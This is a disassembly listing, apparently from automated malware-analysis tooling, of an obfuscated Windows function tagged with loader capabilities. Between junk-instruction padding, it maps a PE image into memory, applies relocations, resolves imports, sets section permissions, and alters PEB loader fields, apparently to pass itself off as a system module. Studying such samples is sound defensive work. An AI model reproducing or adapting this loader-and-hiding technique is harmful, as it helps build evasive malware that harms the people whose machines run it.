Function at 0x40b000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
and ebx, 0x93
bswap ebx
and esi, 0x90
inc edi
rol edx, 0x90
bswap edx
inc edx
dec edi
not eax
sbb edi, 0xf9
rcr esi, 0xa1
ror ebx, 0x32
rcr edi, 0xc6
neg edx
rcl eax, 0x54
not esi
mov edi, 0xf9
dec esi
inc edx
bswap ebx
and eax, 0x29
not edx
bswap esi
or esi, 0x17
imul esi
rcr ebx, 0xc7
mov esi, 0xe4
or esi, 0x55
sub eax, 0x22
imul ebx
sbb esi, 0xd
bswap eax
not esi
sub ebx, 0x63
and esi, 0xae
bswap esi
sub esi, 5
add edi, 0x81
not edx
inc ebx
neg edi
imul esi
dec ebx
sub eax, 0x92
bswap ebx
dec ebx
dec ebx
sbb esi, 0x2c
inc ebx
sub edi, 0x82
ror edx, 0x7a
rol eax, 0x4c
inc ebx
sub edi, 0x33
inc edx
bswap eax
rol ebx, 0xe0
bswap edx
add edx, 0x59
mov edx, 0x3a
imul edx
neg esi
mov edi, 0x8a
not esi
not esi
neg ebx
sbb edi, 0x7b
ror edx, 0xc3
or edx, 0x38
imul edx
dec ebx
bswap ebx
ror ebx, 0x3c
mov edx, 0x3c
not eax
and ebx, 0xda
or edx, 0xa
not edx
rcr edx, 0x59
neg eax
ror edi, 0xff
sbb esi, 0x89
and ebx, 0xb7
not esi
bswap ebx
sbb eax, 0xd0
and eax, 0xd5
sbb edx, 0x48
sub ebx, 0xed
ror edx, 0xd2
neg edx
ror edi, 0x50
add edi, 0x7b
inc esi
or edi, 0x85
or esi, 0xcf
dec edi
mov edi, 0x39
inc esi
not edx
rcl edx, 0xe8
imul ebx
inc eax
inc eax
inc esi
and eax, 0x63
add eax, 0xc7
bswap edi
neg edi
rcl edi, 0xe7
sbb ebx, 0x1b
imul edx
rcl esi, 0x6f
bswap esi
or edi, 0x88
rol edi, 0x93
not eax
sub edx, 0x6f
rol ebx, 0xc6
rcr edx, 0x10
not esi
inc edi
bswap esi
neg edx
sbb ebx, 0xa6
bswap ebx
and edi, 0x60
inc esi
imul esi
not eax
ror edi, 6
inc edi
bswap ebx
or eax, 0x6d
and eax, 0xbd
mov edx, 0xe3
or eax, 0xfd
rol esi, 0xaa
rcr edi, 0x8c
rcr edi, 0xfb
not esi
rol edi, 0xd5
rcr edi, 6
dec eax
neg ebx
bswap eax
rcr ebx, 0x3a
mov edx, 0xf5
not esi
or edx, 0x40
or esi, 0x42
add edi, 0x6e
or esi, 0x88
neg eax
mov esi, 0x36
add edi, 0x28
mov edx, 0xe7
rcr edx, 0x4a
mov edi, 0xb
bswap esi
sbb edi, 0xe
or esi, 0x19
imul esi
not esi
ror edi, 0xbb
mov edi, 0x4c
rcr edi, 0x42
mov esi, 0x9c
rcl edi, 0x19
or edi, 0x91
dec edi
rol edx, 0x6d
dec esi
rol esi, 0xdf
or ebx, 0xc8
dec esi
sub esi, 0xc6
sbb edi, 0xc7
bswap ebx
add edi, 0x1c
not esi
neg edx
mov edi, 0x29
not eax
ror ebx, 0xd0
bswap esi
or esi, 0xcf
bswap ebx
bswap edx
rol edi, 0xe
inc esi
neg eax
not edx
ror eax, 2
and ebx, 0x3b
mov eax, 0x3f
not edx
mov edx, 0xba
inc esi
add ebx, 3
push 0x43e00
push 0x410008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x410008
neg ebx
ror ebx, 0xfe
bswap edx
ror esi, 0x66
ror eax, 0x13
sub eax, 0xc
sbb eax, 0xd0
neg eax
not eax
inc eax
ror esi, 0x12
dec edx
not esi
neg esi
mov edx, 0x2c
not eax
not esi
and edi, 0x7b
inc esi
bswap edi
sbb edx, 0x2f
neg edx
add edx, 0x57
sub edi, 0x6b
sub edx, 0xcb
bswap edx
or edi, 0
neg edi
sbb edx, 0x36
dec edi
mov ebx, 0x84
bswap eax
neg edi
and eax, 0xa0
mov edi, 0x95
or edi, 0x6b
mov eax, 0x62
bswap edx
rcr edx, 0x4a
sub edx, 0xd8
bswap edx
imul edi
ror ebx, 0xd1
rcl ebx, 0xb5
rcr edx, 0x60
dec edi
not edx
neg eax
inc edx
add esi, 0xf1
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x40b32c
mov eax, 1
jmp 0x40c903
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40b35f
mov dword [ebp - 0x110], 0
jmp 0x40b36e
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x40b3b6
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x40b3b6
mov eax, 2
jmp 0x40c903
sub edi, 0x5b
dec ebx
dec eax
bswap edi
rol esi, 1
imul edx
inc ebx
not edi
add esi, 0x29
add edi, 0x93
bswap edx
mov edx, 2
inc esi
bswap ebx
not edi
dec ebx
or eax, 0xfc
ror edi, 0x73
not eax
inc edx
sub eax, 0xa8
inc edi
or eax, 0xab
mov edx, 0x5a
dec ebx
dec edi
rol esi, 0x64
imul esi
rcl edi, 2
bswap ebx
not esi
and esi, 0x15
mov ebx, 0xcd
sbb esi, 0x58
rol eax, 0xe0
imul edi
rcl ebx, 0xef
rcl edi, 0x69
rcr edx, 0x66
rol ebx, 0xb3
inc edx
not ebx
or eax, 0x79
imul esi
add eax, 0xa9
neg esi
rcl esi, 0xbf
or ebx, 0x1a
and eax, 0x1f
rcl eax, 0xc1
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401210
add esp, 0xc
inc edx
mov eax, 0x5b
rcl eax, 0xf0
dec edi
not edi
rcr edx, 0x94
neg edi
dec edx
dec edi
rol ebx, 0x65
dec edx
ror eax, 0x1f
inc eax
rcr edi, 0xe7
inc edi
mov ebx, 0xe5
neg eax
rcl edx, 4
neg ebx
inc edx
sub ebx, 0xf
and esi, 0x7b
or eax, 0xec
not ebx
inc edi
or edi, 0
sub edx, 0xc9
sub eax, 0xb3
rcl edx, 0x4e
rol eax, 0x3a
or eax, 0xab
and eax, 0x95
rcl esi, 0x3e
bswap esi
imul edx
ror edi, 0x9a
rcl edi, 0xc9
rcl edi, 0xad
rcr esi, 0x4d
rcr edi, 0x75
not eax
mov esi, 0xbb
bswap edx
inc eax
not edx
dec esi
sbb edx, 0x25
mov esi, 0x10
ror ebx, 0x70
imul ebx
neg eax
mov eax, 0xc2
inc ebx
ror edx, 0xc3
or edi, 0xd4
dec esi
neg ebx
or ebx, 0x15
add edi, 0xde
rcl esi, 0xfb
ror edi, 0x20
mov esi, 0x7b
neg esi
not ebx
not esi
rcl edx, 0x99
not edi
imul edx
not esi
rcl ebx, 0xbb
rol esi, 0x96
rcl edx, 0x64
rol eax, 0xa1
inc edx
and edi, 0xec
or ebx, 0xa4
neg esi
ror ebx, 0xb4
not edx
mov esi, 0xdc
add edx, 0x49
dec ebx
mov edx, 0xab
rol esi, 0x20
mov esi, 0x26
rcr ebx, 0x5e
or ebx, 0x1d
neg edi
not edi
not edx
bswap edx
rcr edx, 0x79
or ebx, 0xfc
inc eax
sbb edi, 0xec
rcl edi, 0xd3
neg esi
mov esi, 0x54
dec edi
sub ebx, 0x5a
dec esi
dec eax
inc edi
dec edi
imul eax
neg edx
not ebx
rcr eax, 0x3c
and ebx, 0xec
bswap esi
or edx, 0x9a
imul esi
sub edx, 0x9c
rcl edx, 0x4c
sub ebx, 0x20
sub edx, 0x29
rol edx, 0xe
ror esi, 0x6f
dec esi
imul ebx
imul eax
add esi, 0xa4
inc edx
not edx
inc edx
and ebx, 0x30
add esi, 0x8b
add eax, 0xc4
sbb ebx, 0xc0
or esi, 0x22
mov edi, 0x7f
dec edx
imul edx
neg ebx
and esi, 0xab
imul esi
rcl esi, 0xf1
not ebx
imul edx
dec ebx
sub eax, 0x36
not eax
not edx
inc edx
neg edi
inc ebx
rcl eax, 0x3d
imul eax
mov esi, 0xa4
rol edx, 0x52
not esi
inc edx
rol edx, 0x44
neg edx
rcr esi, 0x48
dec esi
sub edx, 0x15
neg eax
rcl edi, 0x9f
bswap ebx
not edi
rol edi, 0x77
inc edx
dec edi
or ebx, 0x4d
rcr esi, 0x48
or edi, 0xb2
imul edi
or edx, 0x34
and edx, 0x3a
sub edx, 0xf9
mov eax, 0xdf
neg esi
sub edx, 0xa1
not edx
bswap edi
neg ebx
neg eax
neg edx
rol edi, 0x33
not edx
rol ebx, 0x62
dec ebx
not edi
add edx, 0xcc
imul eax
sub esi, 0x5c
not eax
or eax, 0x30
ror edi, 0x6d
rcr esi, 0x78
not edx
imul eax
bswap eax
inc edx
dec edi
mov edi, 0xd7
sbb esi, 0xe8
and esi, 0x18
not edx
imul esi
imul esi
rol eax, 0x27
imul edi
imul esi
imul edx
imul edx
rcr edx, 0x23
not edi
inc edx
mov eax, 0xa2
sub eax, 0x6e
rcl eax, 0xd8
rcr edi, 0x15
and edx, 0x43
mov edx, 0x5a
inc edx
rol edi, 0x39
neg edi
rcr eax, 0x82
neg esi
or esi, 0x97
bswap ebx
inc edi
imul edi
rcr edx, 0x14
inc esi
neg edx
bswap eax
bswap edi
neg edi
dec eax
ror edi, 0x2d
ror esi, 0x35
neg edx
or eax, 0x86
rol edx, 0x6e
rcr edi, 0xfa
rcl edx, 0xcb
rcr eax, 0x87
rcl edx, 0x88
not ebx
imul edi
imul edi
rol esi, 0x6b
sbb edi, 0
or edx, 0x4a
inc eax
sub eax, 0x19
dec eax
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40b737
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40b798
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401210
add esp, 0xc
jmp 0x40b728
inc esi
dec ebx
rcl esi, 0x95
dec edi
sbb ebx, 0x34
ror ebx, 0xdd
dec eax
or edx, 0x3e
sbb esi, 0x71
sbb eax, 0x49
imul ebx
inc esi
imul eax
sub ebx, 0x75
or ebx, 0x38
rcr ebx, 0xc1
neg ebx
ror edx, 5
dec ebx
sbb ebx, 0xe7
bswap ebx
inc edi
inc eax
sbb eax, 0x9c
sbb edx, 9
rcl esi, 0xed
sub edx, 0x64
bswap eax
bswap ebx
inc esi
neg ebx
dec ebx
mov ebx, 0x87
imul edx
dec edi
imul eax
ror ebx, 0x9b
neg esi
add edx, 0xc
neg edx
mov eax, 0xcc
bswap esi
rcl edi, 0x2c
sub edx, 0xbe
not edi
neg ebx
or edx, 0x10
add edi, 0x4c
inc eax
not eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x40b948
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x40b948
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x40b8bd
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40b922
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x40b911
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40b8ae
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40b859
mov esi, 0xbe
sbb ebx, 0x40
imul edx
imul ebx
rcr esi, 0xb7
bswap edi
or edi, 0x29
bswap ebx
imul edi
not ebx
rol ebx, 0xc4
sub ebx, 0x74
and esi, 0xd1
or eax, 0xc1
imul edx
neg edi
inc eax
neg esi
neg edi
neg esi
rol esi, 0x74
sbb eax, 0x19
and edi, 0x29
bswap ebx
dec edx
imul edi
imul esi
add esi, 8
not eax
bswap ebx
not ebx
sub eax, 0x31
dec esi
neg edi
rcl esi, 0xba
not eax
and eax, 0xa7
mov eax, 0xf7
imul ebx
not eax
bswap eax
neg edx
sbb edi, 0xd2
mov edi, 0x10
mov edx, 0xda
bswap esi
mov eax, 0x96
bswap ebx
inc esi
dec eax
add eax, 0x48
rcl edx, 0xcc
not edx
bswap edx
add ebx, 0x1d
bswap eax
dec esi
not ebx
not eax
rcr edx, 0x75
add ebx, 4
and edx, 0xdd
dec edi
or edx, 0xad
not edx
sbb edi, 0x46
neg esi
mov edi, 0x25
dec eax
imul esi
bswap edi
sub eax, 5
dec edi
bswap eax
inc edx
rcr eax, 0x61
mov esi, 0xd7
inc ebx
add ebx, 0x69
neg edi
or esi, 0x10
rol ebx, 0x1c
rcl ebx, 7
bswap edx
rcl esi, 0x9e
rcr esi, 0x60
inc edi
add edx, 0x37
and ebx, 0xc6
rcr edi, 0x86
neg edx
rcl edx, 0x27
rcl edx, 0x22
inc esi
dec esi
add esi, 0x25
or eax, 0xbd
bswap eax
bswap esi
rcr edi, 0x5b
sub ebx, 0xab
add edx, 0xd2
dec ebx
dec edx
not edx
sub esi, 0xd0
dec eax
not ebx
imul ebx
bswap edx
rol edx, 0x7b
inc ebx
and ebx, 0x44
dec edi
inc ebx
inc edi
imul edi
not esi
neg edx
not edx
dec ebx
imul eax
neg edi
neg esi
neg ebx
not edx
bswap edx
imul edx
sub eax, 0x33
sub edi, 0x2b
neg edx
not edx
imul ebx
sub esi, 0xb1
inc edx
dec edx
or edi, 0x1e
sub ebx, 0x4b
ror eax, 0xc1
ror edi, 0xe1
ror esi, 0x4c
ror esi, 0x1f
imul edi
bswap esi
neg edi
neg edx
inc edi
imul edi
dec eax
sbb eax, 0x50
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x40baf9
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x40bc37
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x40bb50
jmp 0x40baea
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x40bb8a
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x40bc32
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x40bc05
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x40bb7b
jmp 0x40baea
mov dword [ebp - 0x104], 0
jmp 0x40bc52
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x40bd70
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bcc0
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bcc0
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x40bcc0
mov dword [ebp - 0x108], 0x40
jmp 0x40bd27
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bce8
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bce8
mov dword [ebp - 0x108], 4
jmp 0x40bd27
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x40bd0f
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x40bd0f
mov dword [ebp - 0x108], 0x20
jmp 0x40bd27
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x40bd27
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401230
add esp, 0x10
jmp 0x40bc43
add ebx, 0x78
bswap ebx
imul esi
not eax
and ebx, 0x6d
imul ebx
imul esi
rcr edi, 0x74
or eax, 0x37
rcr esi, 0x91
not edx
ror ebx, 0xf4
not eax
add eax, 0x6a
inc edx
dec eax
and eax, 0xc7
imul esi
imul eax
rcr eax, 0x81
and ebx, 0x6b
bswap eax
mov edi, 0x4f
bswap esi
neg edi
neg esi
bswap eax
sbb eax, 0x9e
not edx
bswap edi
sub edi, 0x48
rcr edi, 0xea
and ebx, 0x14
and eax, 0x4c
neg edx
sub esi, 0xb
or esi, 0x1d
rcl edx, 0x8d
neg esi
inc edi
add edx, 0x2b
rcl ebx, 0xda
add eax, 0x7b
imul eax
rcl esi, 0xd7
not edx
neg ebx
add edi, 0xb4
add eax, 0xd3
imul edi
add ebx, 0x64
and edx, 0xc2
add edi, 0x1a
imul esi
bswap edi
or edi, 5
add eax, 0x8d
rcr edi, 0x3d
dec ebx
imul edi
and esi, 0x6a
inc esi
rol esi, 0xb9
not edx
bswap ebx
not eax
imul esi
ror edi, 0x79
rol edx, 0x89
imul esi
rol edi, 0x6c
and esi, 0xc9
or ebx, 0x3f
rcr edx, 0xee
neg edi
dec esi
sbb eax, 0x37
inc ebx
neg ebx
rcl esi, 0xe0
imul esi
mov esi, 0xf6
ror eax, 4
add eax, 0x5e
bswap esi
and edx, 0x84
ror esi, 0xd3
and edx, 0x6c
rcl ebx, 0x86
inc ebx
sbb edi, 0x61
rcl edx, 0x99
bswap ebx
add edi, 0x42
not eax
mov ebx, 0x64
imul eax
inc ebx
rcr esi, 0x33
neg edx
and edi, 0xb9
rcl edi, 0xef
bswap edi
add edi, 0xf8
bswap edi
rol edx, 0x8a
dec ebx
bswap ebx
rcl ebx, 0xc2
bswap edi
add eax, 0xed
imul edi
rcl eax, 0x75
add ebx, 0xa
sbb edi, 0x94
mov ebx, 0xef
ror esi, 0x1e
neg edi
sbb esi, 0xf4
inc edx
rcr eax, 0x6a
neg esi
not ebx
not edi
neg edx
ror eax, 0xa7
imul esi
add esi, 0x69
ror eax, 0xc8
imul edi
dec esi
sub edx, 0x9a
not esi
neg edx
not edx
inc edx
and edi, 5
imul ebx
add esi, 0x72
bswap edi
not ebx
ror ebx, 0x61
ror ebx, 0x2e
add ebx, 0x25
rcr esi, 0x91
and edi, 0xfc
not edx
imul edx
bswap esi
bswap edi
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
neg edx
imul edx
not edx
bswap ebx
or edx, 0x64
and ebx, 0x5c
mov ebx, 0x18
rcl eax, 0x7c
or ebx, 0x91
ror esi, 0x92
or eax, 0x8f
sub edi, 0xf2
sub eax, 0xae
imul edi
ror edi, 1
inc eax
and edi, 0x49
sub eax, 0x5d
and edx, 0x75
ror esi, 0xf2
and edx, 0x3f
sub esi, 0xae
neg ebx
bswap edx
ror edi, 0x35
sub edi, 0xa7
inc esi
sub ebx, 0xa6
not esi
not ebx
neg esi
sbb edx, 0x54
sbb esi, 0xaf
or esi, 0xaa
sbb edx, 0xcd
dec edi
bswap edx
dec ebx
neg edx
rcr edx, 0x3e
inc edx
rcl ebx, 0xa7
neg ebx
imul edx
dec edx
inc eax
bswap ebx
rcr ebx, 0xf
rcl edx, 0x4b
inc eax
bswap esi
and esi, 0xdd
not edi
not edx
imul ebx
neg eax
not esi
add edx, 0xf4
neg edi
inc edx
rcl ebx, 0x36
inc edx
rol edi, 0x22
bswap ebx
imul eax
sub ebx, 0x67
bswap eax
inc edi
rol ebx, 0xb9
sbb esi, 0x12
rcr esi, 0x5a
ror ebx, 0x91
imul ebx
not ebx
or esi, 0xbd
and ebx, 0x17
not ebx
ror edi, 0xa
sbb edi, 0x9e
dec edi
sub esi, 0xeb
or eax, 0x7a
not esi
rol eax, 0xa2
not edx
rcr edi, 0xc8
inc edx
add eax, 0xd1
or ebx, 0x29
sub eax, 0xed
or ebx, 0x1d
rol esi, 0x9e
bswap ebx
or ebx, 0x5b
bswap edi
sbb edi, 0xdf
add ebx, 0x77
mov ebx, 0x6f
and edx, 0xc6
sbb eax, 0xeb
add edx, 0xf1
not ebx
inc eax
rcl ebx, 0xf5
sub eax, 0xdd
rcr ebx, 0x66
bswap edi
sbb eax, 0x1a
add edi, 0x80
and esi, 0xbc
neg esi
not edx
bswap edi
not edi
sbb ebx, 0x72
rcl eax, 0xc8
neg esi
or edi, 0x1c
mov esi, 0xff
ror ebx, 0x98
dec ebx
rol edi, 0xd6
imul edx
dec esi
imul eax
sub edi, 0xeb
not ebx
neg edx
rcl edi, 0xff
rcl eax, 5
mov eax, 0xec
sbb edx, 0xcc
ror edi, 0xc7
not edi
add eax, 0x7b
mov edx, 0x81
bswap eax
ror esi, 0x16
bswap esi
dec esi
or edi, 0xbb
not ebx
imul esi
or esi, 0x5d
mov edx, 0x1f
neg edx
rcl edi, 0x40
or edi, 0xe
bswap esi
add esi, 0xac
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
rcr edx, 0xe0
or esi, 0x54
not edi
mov edx, 0x41
dec esi
rol edi, 0x1e
rol eax, 0x7f
sbb ebx, 0xd8
neg eax
mov eax, 0x64
or edx, 0xb4
rol edi, 0xb0
rol edx, 0x77
sbb ebx, 0xb1
sbb edi, 0x12
sbb eax, 0x59
rcl eax, 0x70
not esi
and eax, 0x74
add eax, 0x51
rcr esi, 0xa5
not ebx
add eax, 0xd2
neg edi
imul esi
and edx, 0xe7
rcl esi, 0xc5
add eax, 0xd0
rol edx, 0xb6
and esi, 0x1d
ror ebx, 0x16
mov esi, 0x2b
rcr ebx, 0x67
add edi, 0xa1
rcr ebx, 0xad
not esi
add edi, 0xf4
neg edx
rcl edx, 0x9f
imul eax
ror edx, 0xd
sbb edx, 0x72
neg ebx
bswap eax
not eax
dec edx
not edi
and edi, 0xff
not eax
mov eax, 0x9e
not ebx
ror eax, 0x23
not edx
rcl edi, 0x84
bswap esi
ror edx, 0xad
sub eax, 0x6d
inc esi
sbb esi, 0x4a
add ebx, 4
ror ebx, 0xaa
inc edi
rcl esi, 0x1a
sub edi, 0x1b
sub ebx, 0xee
imul eax
dec edx
bswap eax
ror esi, 0xcc
dec ebx
inc eax
or ebx, 0x27
not edi
ror edi, 0x8d
and ebx, 0x71
imul esi
or ebx, 0x78
dec ebx
and edi, 0xa4
imul ebx
not eax
mov edx, 0x66
sbb ebx, 0x13
mov esi, 0x49
mov edi, 0xd6
bswap ebx
dec edx
rcr esi, 0x92
bswap eax
inc eax
rcl ebx, 0xec
ror eax, 9
dec edx
bswap edx
and ebx, 0xa7
bswap edi
ror edi, 0x33
inc edx
bswap ebx
mov edx, 0x44
imul edi
and ebx, 0x2a
imul eax
not ebx
rcl edi, 0xef
not edx
inc eax
rol edi, 0xd3
dec esi
inc esi
rcr esi, 0x4c
sub edx, 0xde
rol eax, 0xad
bswap eax
add esi, 0xe1
dec edx
ror edi, 0x81
neg ebx
sbb edx, 0x57
add esi, 0x87
bswap edi
imul esi
sub edi, 0x92
dec ebx
and edx, 0x9c
sub edi, 0x71
sbb eax, 0
dec edx
imul ebx
not ebx
imul edx
sub eax, 0x99
add edx, 0x46
dec edx
dec eax
bswap ebx
neg edi
sbb eax, 0x11
and eax, 0x5a
rcl eax, 0x55
imul edx
rcl edi, 0xed
or eax, 0x31
sub esi, 0xc7
bswap edi
rcr edx, 0xf5
rcr eax, 0x49
sbb edi, 0xf4
rol eax, 0xaa
inc esi
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
